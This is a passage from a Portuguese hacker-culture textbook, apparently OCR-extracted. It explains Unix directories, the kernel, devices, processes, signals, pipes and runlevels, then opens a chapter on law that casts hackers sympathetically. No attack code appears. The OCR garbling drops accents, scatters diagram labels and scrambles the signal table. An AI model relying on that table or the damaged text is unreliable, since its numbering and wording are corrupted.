] Plataforma
Unix
Universidade H4CK3R
/ bin dev etc home lib mnt proc sbin tmp usr bin doc etc include lib local man sbin share src var
192 I Plataforma Unix
~ /home: cada usurio cadastrado no sistema possui um diretrio com seu nome em /home - esta a nica rea de disco que a maioria dos usurios est autorizada a utilizar para gravar seus arquivos; ~/lib: as bibliotecas de funes do sistema esto aqui - considere-as como as "DLLs"do Unix; ~/mnt: diretrio usado para conexo a volumes presentes em outros computadores da rede ou para acessar dispositivos removveis, como disquetes, fitas magnticas e CDs; ~/proc: arquivosrepresentando os processos em execuo; ~ /tmp: espao para arquivos temporrios gerados pelos programas ou pelos prprios usurios; ~/usr: os aplicativos do usurio esto instalados abaixo de /usr; ~ /var: informaes variveis do sistema (spool de impressora, caixas postais, cache de Internet, log do sistema, etc.). o diretrio /usr muito importante. Praticamente tudo o que os usurios vo utilizar est nele. Mas por que esse diretrio existe? No seria mais fcil colocar tudo em Ibin? Normalmente, o Ibin e o /sbin contm apenas os programas estritamente necessrios para que o computador funcione e possa dar boot ou ser reparado. No /usr esto guardados o restante dos programas dos usurios (ferramentas, editores de texto, navegadores de Internet e ambientes grficos) bem como a documentao do sistema e os arquivos compartilhados. O /usr pode estar na mesma partio do Ibin e do /sbin. Mas tambm pode estar em outra partio, que s acessada pelo sistema depois que o Unix termina sua inicializao. O /usr pode ainda estar em uma mquina centralizada na rede, que exporta um /usr comum a todas as estaes Unix. Com isso, o administrador tem de instalar programas apenas uma vez em vez de faz-Io em cada um dos computadores Unix sob sua superviso. O /usr quase um "mini-root": contm seus prprios bin, sbin, lib, etc., que so, respectivamente, os diretrios de programas comuns do usurio, ferramentas do superusurio, bibliotecas de funes dos programas abaixo do /usr e arquivos de configurao dos programas abaixo do /usr. Alm disso, possui diretrios s encon-
Universidade 1 ano
trados nele. A dupla /usr/include e /usr/src presta-se para a compilao de programas a partir do cdigo-font. O /usr/doc guarda uma gama varivel de documentos sobre o sistema e os programas instalados. J o /usr/man encerra a documentao oficial do sistema, as chamadas man pages. O /usr/share possui qualquer tipo de arquivo (imagens, sons, configuraes) que deve ser compartilhado por todos os programas e usurios. Por fim, o diretrio /usr/local um "mini /usr". Possui uma estrutura de diretrios praticamente idntica ao /usr. Serve para que programas locais possam ser instalados em computadores que possuam o /usr em outra mquina na rede. Apesar de /usr ter a possibilidade de ser um "drive de rede", o /usr/local continua sendo armazenado localmente no HD. Vasculhe seu sistema Unix antes de prosseguir. No se preocupe - se voc no for o superusurio e usar somente os comandos no-destrutivos como cd, ls e cat, no h possibilidade de "estragar" nada. Depois de faz-lo, v para casa, se arrume e saia, como fez no captulo anterior. Ou antes, largue este livro e pegue Crime e Castigo, de Dostoivski. Ou v tocar flauta doce. Mas relaxe e no pense em Unix at amanh.
o cerne
da questo
O kerne1 cria processos toda vez que pedimos ao sistema operacional para rodar um programa. Alm de cri-los, o kernel cuida para que eles colaborem entre si e no se destruam mutuamente, e tambm gerencia os recursos (memria, CPU, perifricos) que cada processo utiliza. Compare o diagrama da prxima pgina com o do captulo anterior. Pode-se ver claramente que a imp1ementao Unix difere radicalmente de sua equivalente Windows. Enquanto o sistema da Microsoft utiliza o conceito de microkerne1
apenas as funcionalidades bsicas esto no kerne1 e h diversos subsistemas rodando em user mode -, no Unix tudo est embutido num ncleo monoltico. Mesmo em implementaes cujo kerne1 modular, os mdulos tambm rodam em kerne1 mode. Apenas os processos dos programas e servios (daemons) rodam no espao do usurio.
6 o dretrio /usr/include armazena os cabealhos com os prottipos das funes em C presentes nas bibliotecas /lib e /usr/lib, enquanto o /usr/src recebe o prprio cdigo-fonte a ser compilado.
1931
I
Plataforma
Unix
I Universidade
H4CK3R I
Interfacede servio
J
FileSystem
J
Gestode memriae Input/Output
"o DOPro
Hardware
Programas
Bibliotecasde Sistema
mostrada no diagrama). As system ca11s interagem com os componentes do SO por meio do sistema de arquivos (no se esquea: em Unix tudo arquivo). Por ele, o keme1 controla o hardware, os arquivos do usu-
Usurio Sistema
f
Systemcall1nterface
!
Controlede Processos
Comunicao entre processos Scheduler
rio e os prprios processos, que so objeto de um escalonamento ou scheduling para definir as prioridades, a ordem de execuo e a interao entre eles. Como o hardware tambm tratado pelo sistema de arquivos, o ncleo dos sistemas Unix nada mais do que um supergerenciador inteligente de arquivos.
;.Caracter
Gesto de memria
1941
Plataforma Unix
Universidade 1ano
Num exame menos simplificado, vemos que os programas acessam funes disponveis nas bibliotecas do sistema. Semelhantes s DLLs dos sistemas Windows, as bibliotecas compartilhadas (shared objects ou so) dos sistemas Unix permitem que vrios programas compartilhem as mesmas caractersticas. A diferena a maior opo de escolha. O Unix um sistema muito mais modular do que qualquer outro. Isso significa que o programador tem muitas opes de biliotecas para basear seus programas. Um exemplo a interface grfica. No Windows ela encontra-se em uma nica biblioteca (GDI.DLL).J no Unix temos diversos toolkits grficos, todos eles "encaixveis" no servidor X. O mais famoso o Motif, mas h muitos outros. como o GTK,o Qt e o Tk. Seja diretamente ou atravs das bibliotecas, os processos emitem system calls para o kerne1, solicitando alguma coisa. No kerne1 h rotinas para controle desses processos (escalonamento, comunicao e memria) e para acessar os recursos do sistema por meio do sistema de arquivos.
Dispositivos
Os dispositivos do sistema presentes em /dev so arquivos especiais que se comunicam com o hardware. Melhor dizendo, so representaes (imagens) dos dispositivos em formato de arquivo. Toda a discusso sobre interrupt handlers que tivemos no captulo sobre o Windows vale para os sistemas Unix tambm. Mas ao contrrio do Windows, os sistemas Unix dependem muito pouco da BIOS em sistemas baseados em hardware PC.Todas as funes originalmente a cargo da BIOS(excetuando-se a inicializao da mquina) so implementadas no kerne1. Outras plataformas de hardware sequer possuem algo parecido com uma BIOSde PC e, portanto, a implementao dessas funes no kernel obrigatria. Lembram-se de como os dispositivos eram acessados no Windows, por meio de device drivers e VxDs? No Unix, obviamente, tambm h device drivers. Mas ao contrrio do Windows, os drivers so mdulos do kerne1. Tais mdulos podem ser tanto compilados no prprio kerne1 de maneira monoltica como carregados sob demanda na memria, se forem compilados como autnomos. A reside a diferena radical entre a abordagem microkerne1 do Windows e a de kerne1 monoltico do Unix. Os arquivos de dispositivo presentes no /dev comunicam-se com os device drivers - e, portanto, com o prrpio kernel, que se encarrega de controlar o hardware para o qual o driver foi escrito. Os nomes dos dispositivos so organizados de forma simples. Normalmente um grupo de duas a quatro letras e, opcionalmente, nmeros. Por exemplo, o primeiro disco rgido (ou qualquer dispositivo IDE) instalado em um sistema Linux o /dev!hda, o segundo o /dev!hdb. Em um Solaris, os mesmos discos esto representados pelos arquivos /dev/dsk/cOtOdO e cOtldO. H trs tipos de dispositivos: de bloco, de caracter e de interfaces de rede. Os dispositivos orientados a caractere (character devices ou, ainda, char devices)
1951
I
Plataforma
Unix
I Universidade
H4CK3R
so aqueles que podem ser acessados como um arquivo comum. Voc pode escrever neles ou ler a partir deles, sempre um byte por vez. De fato, os drivers que implementam esses dispositivos aceitam ser manipulados por funes primitivas como open(), close(), read() e write( ).Alguns exemplos so as portas seriais, o teclado e o mouse. bvio que h diferenas entre os dispositivos de caractere e um arquivo comum. Se for criado um arquivo comum e, dentro dele, for gravada a frase "Hey Beavis, I'm a Unix string!", possvel recuperar essa frase toda vez que o arquivo for lido. Um char device, por outro lado, apenas um canal de comunicao entre o espao do usurio e o dispositivo. O que for enviado por meio do /dev tratado pelo hardware e no pode mais ser recuperado. Quando se tenta ler do dispositivo, o que se obtm so os dados que o mesmo est enviando ao sistema de arquivos naquele momento, no os gravados anteriormente. Os dispositivos orientados a bloco (b10ck devices), por outro lado, s podem ser acessados por meio de grandes pacotes de informao. Normalmente encerram em si componentes nos quais possvel guardar sistemas de aquivos, como HDs, disquetes e CD-ROMs.Um disco rgido, na maioria dos sistemas Unix, s pode ser acessado em blocos de 1 kbyte. Se for necessrio gravar, por exemplo, apenas 128 bytes no disco, ser usado um bloco de 1 Kbyte (1024 bytes) para tal. Os b10ck devices possuem, por isso mesmo, uma velocidade de transferncia (throughput) muito maior do que os dispositivos de caractere.Tambm por transferirem grandes quantidades de dados, podem contar com uma rea de transferncia auxiliar (buffer) do tipo cache, que aumenta ainda mais o throughput. O ltimo tipo de dispositivo presente no /dev so as chamadas interfaces de rede. Em sistemas Linux, so representadas no /dev por ethO para a primeira placa, ethl para a segunda e assim por diante. Em um sistema HP-UX,que usa placas Intel, as interfaces foram chamadas de itlO, itll, etc. H dispositivos de rede que so puro software. Dois exemplos so o loopback (interface 10), que direciona o trfego de rede para a prpria mquina (endereo 127.0.0.0), e os sockets de comunicao do servidor X Window. As interfaces de rede so, no fundo, dispositivos orientados a caractere, embora especializados. Em algumas implementaes, os dispositivos SCSIso considerados como um quarto tipo de dispositivo,embora sejam,na prtica, dispositivos de bloco.
1961
Plataforma Unix I
Universidade 1ano
cada conexo de um browser de Internet a alguma pgina desse servidor cria mais um processo. fcil perceber que num arranjo como esse h sistemas Unix com milhares de processos simultneos. O primeiro processo gerado por um programa qualquer chamado de pai. Cada um dos processos gerados por esse pai chamado de filho. Como h vrios nveis de processos, podemos dizer que um processo sempre ftlho de outro mais primitivo e pode ele mesmo ser pai de outros processos mais novos. H duas maneiras de iniciar um processo.A primeira a mais trivial:o usurio emite um comando no prompt e o shell transforma esse comando em um processo. Mas h a possibilidade (ou antes, a necessidade) de iniciar processos automaticamente. Na inicializaodo Unix, o keme1, assim que carregado, trata de iniciar o primeiro processo: o init. Ele o pai de todos os outros processos gerados a partir de ento. O init finaliza o procedimento de boot carregando as configuraes do sistema e inicializandotodos os daemons referentes aos servios que a mquina deve oferecer. Alguns desses daemons so servios de rede, como e-mail (SMTP)e Web (HTIP). Tais servios "escutam" a rede espera de solicitaes vindas de outros computadores. Por exemplo, um servio HTTP espera que computadores com browsers de Internet conectem-se a ele. Caso a conexo seja estabelecida, o daemon correspondente envia ao navegador do outro computador a pgina solicitada. interessante notar que esses servios esperam continuamente por conexes, o que significa que consomem recursos da mquina mesmo quando ociosos. Para evitar isso, os servios menos requisitados podem ser agrupados em um superservidor chamado inetd, que aguarda por conexes a diversos servios. Caso um desses servios seja solicitado, o inetd carrega o daemon necessrio. Quando a conexo acaba, o inetd descarrega o daemon da memria.
~
I IpeloINETO
[~iI~~j ~~:~!~J
Os processos comunicam-se entre si por meio de sinais e emitem requisies ao sistema operacional atravs das chamadas de sistema ou system caIls. H diversos sinais e chamadas padronizadas pela norma POSIX.
Sempre que um processo precisa de alguma coisa do computador, emite uma chamada de sistema ao kernel. As tarefas que as aplicaes pedem ao kernel podem ser de acesso a perifricos, solicitao CPU para "fazer uma conta" ou requisio de mais memria. Existem dezenas de system caIls. As mais bsicas so fork, exec e wait. A fork cria um processo ftlho que um done do processo pai: tem as mesmas caractersticas, trabalha com os mesmos arquivos j abertos (embora possa abrir outros novos s para si) e, o mais importante, pertence ao
1971
I
Plataforma
Unix
I Universidade
H4CK3R I
mesmo programa que gerou o processo pai. As nicas diferenas so o nmero de identificao de cada processo e o nmero de identificao do processo pai. J a chamada exec transfere o controle da CPU para outro processo ou programa. Os arquivos que estavam abertos para o programa original so redirecionados para os processos gerados pelo novo programa. Usando ambas as chamadas nessa ordem (fork depois exec), um processo cria um ftlho e transfere o comando para ele. Quando o processo ftlho completar sua tarefa, envia os resultados do processamento ao pai. A dupla fork+exec, entretanto, no evita que o processo pai continue rodando. Para que o processo pai entre em hibernao e espere parado o trmino do processo ftlho, usa-se a chamada de sistema wait. Como o processo pai est dormindo, no entra no time sharing da mquina e, portanto, economiza reursos. O processo pai s voltar aos ciclos de processamento da mquina quando o processo ftlho deixar de existir ou, no jargo tcnico, "morrer". Um exemplo prtico a linha de comando ou shell. Imagine que o usurio digitou um comando e o shell ficou congelado, sendo liberado somente depois de o comando ser fmalizado. Nesse caso, o she11emitiu uma chamada wait para o comando do usurio. Se por outro lado o usurio emitir um comando e, apesar de o programa ainda estar rodando, o prompt aparecer imediatamente, indcio de que o she11no usou a chamada de sistema wait.
grep netscape
Esse comando toma a sada do primeiro programa (ps -e) e o joga na entrada do segundo programa (grep netscape). Observe que os dutos tm uma peculiaridade: apenas ligam processos oriundos do mesmo pai. No caso acima, os comandos ps e grep so "irmos", ftlhos do mesmo shell. Um terceiro mtodo de os processos se comunicarem atravs dos IPCMFsou
Inter Process Communication Message Facilities. Os IPCMFs nada mais so do que filas.
Existem processos transmissores, que so autorizados a colocar mensagens na fila, e processos receptores, que obviamente os retiram. Um exemplo de implementao de IPCMFs so os sPOOlsde impresso. Vrios programas e usurios possuem permisso para escrever na fila de impresso, e possvel que vrias impressoras (e seus device drivers) "puxem" documentos para serem impressos por elas.
198 I Plataforma Unix I
Universidade 1ano
Sinais e semforos
Os mtodos de comunicao interprocessos mais primitivos, entretanto, so os sinais. So mensagens muito simples que um processo envia a outro. Apenas processos ativos podem enviar sinais. Como apenas um processo pode estar ativo em um dado momento - a no ser que o sistema possua vrios pocessadores -, um sinal certamente vai acordar o processo destino, que obviamente est suspenso. Quando um processo suspenso volta atividade, o kerne1 verifica se existe algum sinal para ele. Se existir, o sistema pode tomar uma entre trs providncias: ignorar o sinal, entreg-Io ao processo destinatrio ou captur-Io. Quando um sinal capturado, o sistema executa uma de suas rotinas de tratamento de sinal, que varia de acordo com a natureza do mesmo. Origina1mente, eram considerados 22 sinais.Segundo o padro POSIX.1,hoje, h 31 sinaisdiferentes,cada um solidtando uma ao espefica no processo destino. So eles:
N INOME 1 2 3 4 SIGHUP SIGINT SIGQUlT SIGILL
SIGNIFICADO Desliga o processo devido morte do processo pai Processo interrompido pelo teclado Fecha o processo e o descarrega da memria Informa que o processo fez uma operao ilegal
5
6
SIGTRAP *
SIGEMT *
SIGFPE
- para
rastreamento
de bugs (System V)
7
8
SIGKILL
10 SIGBUS * 11 SIGSEGV 12 SIGSYS * 13 SIGPIPE 14 SIGALRM 15 SIGTERM 16 SIGUSR1 17 SIGUSR2 18 SIGCLD 19 SIGPWR * 20 SIGWINCH * 21 SIGURG * 22 SIGIO * 23 SIGSTOP
EMTTrap (System V) Exceo (erro) em ponto flutuante Encerra ("mata") o processo - no pode ser ignorado Acesso memria defeituosa (System V) Referncia invlida memria (segmentation fault) Chamada de sistema com argumento errado (System V) Duto quebrado: no h processo recebendo os dados Despertador originrio do comando C "alarm" Encerra o processo- pode ser ignorado Sinal definido pelo usurio Sinal defmido pelo usurio "Morte" de um processo ftlho Queda de energia (System V) Redimensiona janela (BSD 4.3 e Sun) Condio urgente no 'socket' (BSD 4.2) E/S possvel agora (BSD 4.2) Congela processo
1991
1
Plataforma
Unix
I Universidade
H4CK3R I
24 25 26 27
28 29 30 31
Stop digitado no terminal TIY Mantm congelado Obtm dados do terminal para processo em segundo plano Processo em segundo plano entrega dados ao terminal Despertador virtual (BSD 4.2) Sinal "Proftling Timer Expired" (System V) Tempo de CPU excedido (BSD 4.2) Tamanho do arquivo excedido (BSD 4.2)
A tabela considera os sinais POSIX.l em arquitetura RISC MIPS.Arquiteturas Alpha, Sparc, i386 (PC) e PowerPC possuem alguns valores diferentes. Por exemplo, para i386 e Sparc o sinal 16 SIGSTKFLT- falha no coprocessador. Sinais marcados com asterisco (*) so apenas parte da implementao GNU/Linux no so padro POSIX.l e tm sua origem indicada entre parnteses. Consulte man 7 signals em seu sistema para informaes mais detalhadas e visite o site (www.unix-systems.org) para saber mais sobre o novo padro POSIX.2. Os sinais so trocados entre os processos em andamento. possvel forar manualmente o envio de um sinal a partir do shell com o comando kill. O nome do comando no nem um pouco apropriado, pois ele no usado apenas para enviar SIGTERM ou SIGKILL (ou seja, matar o processo). Qualquer sinal pode ser enviado pelo comando kill. Exemplo de utilizao:
$ kill -9 27536
Esse comando envia o sinal 9 (SIGKILL)ao processo 27536. Quando o nmero do sinal no especificado, o sistema assume o valor 15. Alm de sinais e mensagens simples, possvel dizer a um processo para guardar estruturas de dados muito mais complexas. Usando uma poro de memria chamada memria compartilhada, os processos ativos podem, atravs de system calls, armazenar dados que sero utilizados posteriormente por outros processos. Para impedir que outros processos alterem os dados antes que o processo gerador tenha terminado de mexer neles, so usadas entidades chamadas semforos, que bloqueiam o acesso quela posio de memria at haver liberao. No objetivo deste livro entrar em detalhes sobre teoria ou particularidades sobre desenvolvimento de software, sinais e chamadas de sistema. Entretanto, sua obrigao conhec-Ios! Para mais informaes, consulte a norma POSIX do Single Unix SpeciJication(wwwunix-systems.org) Tambm deveras educativo escolher um sabor qualquer de Unix e buscar as especificaes do fabricante. Um bom sistema para isso o Linux, por ter todo o seu cdigo aberto ao pblico em geral e, portanto, no preciso pedir permisso ou pagar taxas a ningum para isso.Alm disso, o Linux roda em PCs comuns - voc pode estudar no seu computador pessoal.
1100
Plataforma Unix I
Universidade 1 ano
grep b
sort -r
tee arqsaida I wc -1
O comando ls lista o contedo do diretrio. Em vez de mostrar na tela, o pipe joga a sada de ls para o comando grep b, que filtra os nomes de arquivos que contenham a letra b. Em seguida, a sada do grep jogada no comando sort -r, que classifica os nomes em ordem decrescente. A sada do sort inserida no tee, que divide os dados em dois como se fosse uma conexo em T ou "benjamim".As informaes do sort vo ser gravadas no arquivo "arqsada" e, simultaneamente, so passadas ao comando wc -1,que conta o nmero de linhas. Como resultado desse comando, temos impresso na tela a quantidade de arquivos que contm a letra b, e no arquivo "arqsada" temos gravados os nomes desses arquivos. Esse exemplo vai alm de demonstrar a possibilidade de encadeamento. O Unix foi pensado desde o comeo como um sistema que tivesse ferramentas pequenas, mas poderosas e ultra-especializadas. Tais ferramentas podem ser combinadas para formar uma ferramenta maior e mais complexa para executar uma determinada tarefa. Com isso, evita-se a "reinveno da roda" , pois usando-se blocos bsicos de construo - como num Lego (tm) - reaproveita-se o trabalho j existente. Essa viso difere radicalmente da "maneira Windows" de fazer as coisas: programas grandes que renem a maioria das funes que o usurio possa precisar. No Unix, menos mais.
7 Qualquer ambiente grfico no Unix pode ser considerado "um shell sobre o shell.., portanto, o raciocnio aqui descrito ainda vlido. A grosso modo todos os processos gerados dentro do ambiente grfico so filhos ou descendentes do servidor X, da mesma forma que os processos gerados pelo shell so filhos do mesmo shell.
1101 1
Plataforma
Unix
I Universidade H4CK3R I
Plataforma Unix [
Universidade 1ano
Plataforma
Unix
I Universidade
H4CK3R
encerra suas atividades e desliga I - Monousurio 2 - Multiusurio 3 - Multiusurio com servios de rede 4 - No usado 5 - XII: o mesmo que 3, mas em modo grfico 6 - Reboot: o sistema encerra suas atividades e reinicia Cada sabor de Unix tem sua prpria configurao de runlevels, e mesmo diferentes distribuies Linux possuem esquemas diversos. Por exemplo, num Slackware Linux e num HP-UXo nvel de execuo da parte grfica 4 e no 5. Quando o init criado, o kernel passa a ele em qual runlevel o sistema deve funcionar. Se essa informao no for passada, o prprio inittab informa qual o valor default. possvel mudar o nvel de execuo durante a operao do Unix com o comando init n, em que n nmero do runlevel para o qual queremos "ir". Note que os nveis de execuo so meramente listas ordenadas de processos a serem iniciados ou [malizados. Quando voc "passa" do runlevel 3 para o 5 (com o comando init 5), por exemplo, vrios processos do runlevel 3 so terminados antes que os do runlevel 5 sejam inicializados. E note tambm que o usurio pode, manualmente, chamar programas no previstos nesse nvel. Estando em runlevel 3 (modo texto) o usurio pode chamar o servidor X e trabalhar em um ambiente grfico. Ele no precisou deixar o nvel 3 e entrar no 5 para isso. Tenha em mente que os runlevels so meios de facilitar a administrao do que ser inicializado quando voc liga a mquina. Fazendo um paralelo com o antigo MS-DOS,pense neles como uma srie de arquivos AUTOEXEC.BAT, cada um iniciando uma gama diferente de programas. Todos os daemons inicializveisno boot possuem um script no diretrio init.d. Na maioria dos sistemas Linux este diretrio est no /etc, nos outros sabores de Unix isso varia bastante. No HP-UX,por exemplo, tais scripts esto em /bin/init.d. Eles carregam e descarregam o daemon na memria, fornecem o estado de execuo do programa, recarregam as configuraes do mesmo sem parar o processamento tudo depende do parmetro passado ao script - e podem ser executados manualmente pelo superusurio, caso queira parar ou iniciar algum servio. Mas so usados principalmente para a inicializao automtica pelo esquema de runlevels. H um outro conjunto de diretrios chamados de rcN.d, sendo N o nmero do nvel de execuo. Os servios a serem inicializados no runlevel3, por exemplo, esto em rc3.d. A localizao desse conjunto de diretrios tambm varia muito entre os diferentes sabores de Unix. Podem estar em /etc, /etc/init.d, /sbin ou /bin. Dentro do diretrio rcN.d h diversos links simblicos. Pense nos links simblicos (ou symlinks) como os atalhos do Windows: entidades que apontam para o arquivo verdadeiro. Os nomes do symlinks desses diretrios tm a seguinte estrutura: 104
I
o - Halt: o sistema
Plataforma Unix I
Universidade
ano
Xnnnnome_do_daemon
X pode ser uma de duas letras: S ou K. S indica ao processo init que o daemon tem de ser inicializado quando se entra naquele runlevel, e K indica que o daemon tem de ser terminado ao sair do runlevel. nnn um grupo de trs algarismos que indica a ordem pela qual os processos so iniciados ou mortos. Sistemas GNU/Unux usam apenas dois algarismos. O nome_do_daemon serve apenas para identificar o symlink. Um exemplo prtico. O servidor de e-mail sendmail tem de ser inicializado quando entramos no nvel 3. Para tanto, h um symlink apontando para init.d/sendmail: S980sendmail Isso indica ao processo init para inicializar o sendmail na posio 980 (ou seja, depois que os servios com nmeros menores j estiverem inicializados). Quando o Unix deixa o runlevel3 (no desligamento da mquina, por exemplo), o link simblico correspondente - tambm apontando para init.d/sendmail - : K120sendmail indicando ao init para desligar o sendmail na posio 120, depois que todos os processos com numerao mais alta que 120 j tiverem sido terminados. Cada sabor de Unix possui um inittab e um esquema de runlevels que, apesar de semelhantes, so diferentes. Sugerimos ao leitor que vasculhe esses arquivos em todos os Unix que estiverem mo, comparando-os entre si. No se atenha apenas ao inittab: visite todos os arquivos indicados nele.
Outras gemas
O /etc encerra arquivos de configurao importantes, muitos deles de aspectos j tratados neste captulo. No nosso objetivo ser uma fonte completa de informaes sobre Unix - na verdade, este livro apenas arranha a superfcie. Mas uma pesquisa mais aprofirndada no contedo do diretrio ser de grande valia para o leitor. Como no h muito segredo em visualizar arquivos de texto, deixamos ao leitor o nus de descobrir como e para que servem cada um dos arquivos presentes no /etc.Abaixo h uma lista com os arquivos relevantes na maioria dos "sabores". Interrompa a leitura do livro por uma semana e estude-os todos, consultando sempre a pgina de manual (man nome_do_arquivo) associada. Alguns nomes podem ser diferentes em seu Unix, mas o arquivo correspondente est l. Se o arquivo indicar diretrios ou outros arquivos, visite-os e veja o que eles contm.
services protocols inetd.conf/xinetd.conf crontab profile bashrc cshrc shrc passwd/group/shadow hosts host.conf
1105
] Plataforma
Unix
I Universidade
resolv.conf inittab fstab (vfstab no Solaris) mtab ld.so.conf netgroup netmasks termcap/printcap/screenrc toda a estrutura abaixo de init.d toda a estrutura abaixo de rc.d toda a estrutura abaixo de sysconfig
Dica: em vez de cat, use para visualizar os arquivos o comando more, que mostra uma pgina de vdeo por vez. Se o seu sistema possuir, use o 1ess ao invs do more - com ele possvel retroceder a pginas anteriores.
H vrios "sabores" comerciais de Unix, cada um deles com suas qualidades e problemas - entre eles o preo. Como ento saber qual Unix o melhor para voc? Esta uma pergunta dificil de ser respondida. Normalmente, o melhor Unix o que voc j usa, ou o que voc est mais acostumado. Outras vezes o melhor Unix o que j vem configurado de fbrica, s ligar e usar. Outras ainda dependem do preo baixo. Como so produtos proprietrios, joga-se de acordo com essas regras. Seu representante tcnico seu melhor amigo nessa hora. Mash opes de sistemasUnixa quem chamamos de livres.Sosistemasoperacionais parecidos com o Unix, mas cujo cdig~fonte aberto - qualquer um pode l-loe saber como funciona. So normalmente mantidos por voluntrios ou empresas engajadas na produo de um sistemaque seja independente de fornecedor. Novamente, h vantagens e desvantagens. Dentr<.fas vantagens, existe a certeza de que o produto no possui falhas - e se houver, voc mesmo pode corrigi-las.Mas voc tem certeza de que elas no esto escondidas, um triste ato de m-f de algumas empresas de tecnologia por a... Outra vantagem o alto grau de personalizao que um sistema desses oferece. Sendo aberto, qualquer um pode modific-lo para atender a seus interesses. A desvantagem fica por conta dos paradigmas gerados pelo modelo tradicional de negcios, sendo garantia e suporte os mais comentados. Isso resolvido em parte por empresas que vendem solues baseadas nesses sistemas, mas ainda um mercado no consolidado e h muitos amadores solta. At que se separe o joio do trigo, muitos tero perdido dinheiro com eles - e erradamente colocaro a culpa no software.
1106
1 Plataforma Unix r
Universidade 1 ano
10 Depois do GNU, virou moda criar programas cujos nomes sejam siglas recorrentes. O smbolo do projeto GNU um animal encontrado na frica e parecido com um biso, cujo nome ... Gnu.
1107 I
] Plataforma
Unix
I Universidade
H4CK3R I
um kerne1 completo. Em 1991,Torvalds decidiu colocar o Linux sobre a licena GPL e usar as ferramentas GNU com seu kernel. por isso que os preciosistas do mundo da computao (eu me incluo neste grupo!) referem-se ao sistema como GNU/Linux - seria injusto com o Sr. Stallman se no fosse assim. O Linux hoje um Unix-clone de baixssimo custo e altssimo desempenho. Projetado inicialmente para o lliM-PC,roda em vrias plataformas de hardware com o
mesmo cdigo e funcionalidade
sistema operacional. O problema do Linux sua triste falta de padres. Existem centenas de distribuies ao redor do globo, cada uma com uma estrutura interna - incluindo hierarquia de diretrios - prpria. Como frisamos no incio do captulo, a base dos Unix seu sistema de arquivos. Isso resulta em sistemas que, apesar de possurem o. mesmo kernel, so incompatveis entre si. O padro Linux Standard Base ou LSB (www.linuxbase.org) um esforo das maiores distribuies do mundo para resolver o problema. Acredita-se que em poucos anos haja compatibilidade total entre todas as distribuies que aderirem ao padro. Para saber mais sobre o GNU/Linux, o melhor ponto de partida o site oficial, www.linux.org. Para mais informaes, basta procurar por ele em seu mecanismo de busca favorito. O Google possui um endereo dedicado a Linux em www.google.com/linux. H revistas especializadas que podem ser consultadas, entre elas a Revista do linux, a Arquivo linux, a linux BR, e muitos bons livros podem ser encontrados em livrarias. Mas no deixe de estud-lo. obrigatrio!
o diabinhoque ri...
Linux no suficiente pra voc? Quer saber uma segunda opinio? Experimeite as variantes livres do Unix da Universidade de Berkeley. Com suas licenas menos restritivas que a GPL,os sistemas *BSDpodem ser usados em solues que a licena do GNU/Linux no permitiria. Cada um tem suas caractersticas, e uma leitura em seus sites oficiais certamente o deixar tentado a experiment-Ios. Muitos usurios dos *BSD(especialmente do FreeBSD) saram do Linux e dizem que no voltam mais. Informaes sobre o BSD podem ser obtidas em:
~ FreeBSD ~ NetBSD
- www.freebsd.org
~ OpenBSD - WWTv.openbsd.org
- www.netbsd.org
1108 I
Plataforma Unix [
Universidade 1ano
Nestas poucas pginas, tentamos introduzir os princpais conceitos dos sistemas Unix. H livros inteiros escritos apenas sobre partes do Unix, portanto, seria imprudente (e desonesto) tentar condensar em um captulo o contedo de vrios deles. Mas muito importante que o leitor estude sobre Unix com afinco e procure outros livros e outras fontes. Visite regularmente todos os sites indicados ao longo do captulo e vasculhe-os completamente. Nada to poderoso na mo de um hacker quanto uma conta em um computador Unix ligado Internet.
1109I
] Plataforma
Unix
Jurdicos
Captulo
'An nescis longas regibus esse manus
?"I
Fundamentos
1 No sabes como as mos dos reis so compridas? Um ditado popular francs Oes rois ont les bras longs - os reis tm os braos longos) derivado desse trecho das Herodes.
I Universidade
H4CK3R I
Se voc est lidando com situaes-limite, nunca demais ter uma viso geral dos aspectos jurdicos que as afetam diretamente. Poucas situaes so to limtrofes quanto as enfrentadas pelos usurios de informtica em geral e pelos hackersl em especial. O que crime? O que direito? O conhecimento uma das principais armas do hacker, que deve estar atento aos movimentos feitos pelos governos e s polticas institudas pelas empresas quanto manipulao de dados. A ignorncia em relao s leis pode trazer srios problemas, mesmo em casos simples em que o usurio age de forma inocente sem saber que est cometendo um crime. Estar atento aos casos que j ocorreram, para que no haja nenhuma dvida de onde e como agir, no mnimo uma atitude sbia. A palavra legislao nos d uma vaga idia de estar lidando com o bem e o mal. H uma grande discusso sobre a relatividade desses conceitos, mas devemos ter em mente que a tica que rege o possvel contedo dessas leis parte da necessidade de proteo das empresas e dos governos. Nem sempre as leis so feitas para o cidado, nem sempre o que legal moralmente correto. Portanto, os indivduos que a imprensa simplria costuma chamar de hackers nem sempre podem ser tachados de bandidos, embora, segundo a lei, geralmente incomun em crimes por ela previstos. Robin Hood era criminoso, mesmo agindo segundo princpios morais extremamente elevados. As grandes estratgias para o combate aos cibercrimes comearam a ser elaboradas aps os atentados terroristas ocorridos nos Estados Unidos no dia 11 de setembro de 2001. Desde ento o governo norte-americano passou a ditar o destino de hackers e crackers pelo mundo, exigindo de todos os outros governos leis que facilitem a ingerncia dos Estados Unidos nesses assuntos; e, "de quebra", em todos os outros...
2 Fntenda apalavrahacker nessepargrafo tanto em seu senddo origimJl (especiaJista)como no popular (especia1ista malvado). Ambos devem saber at onde podem ir, e deddir se vo tr.msgredir ou no os (nem sempre justos ou moralmente corretos) limites legais.
1112I
Fundamentos Jurdicos [
Universidade 1 ano
quem
no se lembra
da guerra
fria?),
naes poderosas violam a soberania de pases e impem suas cartilhas comerciais e polticas. Bela maneira de disfarar segundas intenes, no mesmo? Longe de entrar nessa discusso poltica, os autores querem chamar a ateno do leitor para o perigo incipiente da aprovao de leis ou mesmo constitues elaboradas para proteger os interesses de terceiros e no dos cidados. Pergunte a um advogado sobre o assunto. Voc ficar surpreso com a quantidade de garantias que empresas estrangeiras possuem aqui no Brasil em detrimento das necessidades bsicas dos cidados, sempre deixadas em segundo plano. Toda moeda tem dois lados. H hackers agindo com conduta duvidosa. H gente muito bem treinada bisbilhotando seus segredos em casa ou no trabalho. H vndalos que fazem tudo pelo prazer de destruir. Assim como h governos e empresas com intenes no muito nobres, h hackers (e no so poucos) que so, realmente, criminosos e devem ser punidos por isso. Fazer leis que protejam indivduos e entidades pblicas e privadas desses "hackers do mal" sem ferir os direitos de privacidade das pessoas uma tarefa dificlima.
1113
] Fundamentos
Jurdicos
I Universidade
H4CK3R
o common sensedosnorte-americanos
apenas literal.
